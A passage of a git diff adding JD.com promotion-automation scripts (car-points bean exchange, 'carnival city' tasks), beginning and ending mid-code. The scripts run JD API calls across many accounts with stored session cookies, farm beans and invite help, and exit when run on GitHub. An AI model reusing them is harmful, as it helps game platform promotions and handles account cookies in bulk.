(data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_car_exchange.js b/jd_car_exchange.js new file mode 100644 index 0000000..e6b8534 --- /dev/null +++ b/jd_car_exchange.js @@ -0,0 +1,193 @@ +/* +京东汽车兑换,500赛点兑换500京豆 +长期活动 + +活动入口:京东APP首页-京东汽车-屏幕右中部,车主福利 +活动网页地址:https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html#/journey + +更新地址:jd_car_exchange +已支持IOS, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js + +============Quantumultx=============== +[task_local] +#京东汽车兑换 +0 0 * * * jd_car_exchange.js, tag=京东汽车兑换, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "0 0 * * *" script-path=jd_car_exchange.js, tag=京东汽车兑换 + +===============Surge================= +京东汽车兑换 = type=cron,cronexp="0 0 * * *",wake-system=1,timeout=3600,script-path=jd_car_exchange.js + +============小火箭========= +京东汽车兑换 = type=cron,script-path=jd_car_exchange.js, cronexpr="0 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东汽车兑换'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://car-member.jd.com/api/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let j = 0; j < 20; ++j) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`*********京东账号${$.index} ${$.UserName}*********`) + $.isLogin = true; + $.nickName = ''; + message = ''; + await jdCar(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCar() { + await exchange() +} + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function exchange() { + return new Promise(resolve => { + $.post(taskUrl('v1/user/exchange/bean'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} user/exchange/bean API请求失败,请检查网路重试\n`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`兑换结果:${JSON.stringify(data)}\n`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "car-member.jd.com", + 'activityid': '39443aee3ff74fcb806a6f755240d127', + 'origin': 'https://h5.m.jd.com', + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_carnivalcity.js b/jd_carnivalcity.js new file mode 100644 index 0000000..5195add --- /dev/null +++ b/jd_carnivalcity.js @@ -0,0 +1,971 @@ +/* +京东手机狂欢城活动,每日可获得20+以上京豆(其中20京豆是往期奖励,需第一天参加活动后,第二天才能拿到) +活动时间: 2021-5-24至2021-6-20 +活动入口:暂无 [活动地址](https://carnivalcity.m.jd.com/) + +往期奖励: +a、第1名、第618名可获得实物手机一部 +b、 每日第2-10000名,可获得50个京豆 +c、 每日第10001-30000名可获得20个京豆 +d、 30000名之外,0京豆 + + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#京东手机狂欢城 +0 0-18/6 * * * jd_carnivalcity.js, tag=京东手机狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "0 0-18/6 * * *" script-path=jd_carnivalcity.js, tag=京东手机狂欢城 + +====================Surge================ +京东手机狂欢城 = type=cron,cronexp=0 0-18/6 * * *,wake-system=1,timeout=3600,script-path=jd_carnivalcity.js + +============小火箭========= +5G狂欢城 = type=cron,script-path=jd_carnivalcity.js, cronexpr="0 0,6,12,18 * * *", timeout=3600, enable=true +*/ +const $ = new Env('京东手机狂欢城'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie + +let cookiesArr = [], cookie = '', message = '', allMessage = ''; + + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let inviteCodes = []; +const JD_API_HOST = 'https://carnivalcity.m.jd.com'; +const activeEndTime = '2021/06/21 00:00:00+08:00';//活动结束时间 +let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.temp = []; + if (nowTime > new Date(activeEndTime).getTime()) { + //活动结束后弹窗提醒 + $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jingBeanNum}个\n请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); + return + } + await updateShareCodesCDN(); + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.jingBeanNum = 0;//累计获得京豆 + $.integralCount = 0;//累计获得积分 + $.integer = 0;//当天获得积分 + $.lasNum = 0;//当天参赛人数 + $.num = 0;//当天排名 + $.beans = 0;//本次运行获得京豆数量 + $.blockAccount = false;//黑号 + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await JD818(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.canHelp = true;//能否助力 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ((cookiesArr && cookiesArr.length >= 1) && $.canHelp) { + console.log(`\n先自己账号内部相互邀请助力\n`); + for (let item of $.temp) { + console.log(`\n${$.UserName} 去参助力 ${item}`); + const helpRes = await toHelp(item.trim()); + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + $.canHelp = false; + break; + } + } + } + if ($.canHelp) { + console.log(`\n\n如果有剩余助力机会,则给作者以及随机码助力`) + await doHelp(); + } + } + } + // console.log(JSON.stringify($.temp)) + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode()) { + await notify.sendNotify($.name, allMessage, { url: JD_API_HOST }); + $.msg($.name, '', allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function JD818() { + try { + await indexInfo();//获取任务 + await supportList();//助力情况 + await getHelp();//获取邀请码 + if ($.blockAccount) return + await indexInfo(true);//获取任务 + await doHotProducttask();//做热销产品任务 + await doBrandTask();//做品牌手机任务 + await doBrowseshopTask();//逛好货街,做任务 + // await doHelp(); + await myRank();//领取往期排名奖励 + await getListRank(); + await getListIntegral(); + await getListJbean(); + await check();//查询抽奖记录(未兑换的,发送提醒通知); + await showMsg() + } catch (e) { + $.logErr(e) + } +} +async function doHotProducttask() { + $.hotProductList = $.hotProductList.filter(v => !!v && v['status'] === "1"); + if ($.hotProductList && $.hotProductList.length) console.log(`开始 【浏览热销手机产品】任务,需等待6秒`) + for (let item of $.hotProductList) { + await doBrowse(item['id'], "", "hot", "browse", "browseHotSku"); + await $.wait(1000 * 6); + if ($.browseId) { + await getBrowsePrize($.browseId) + } + } +} +//做任务 API 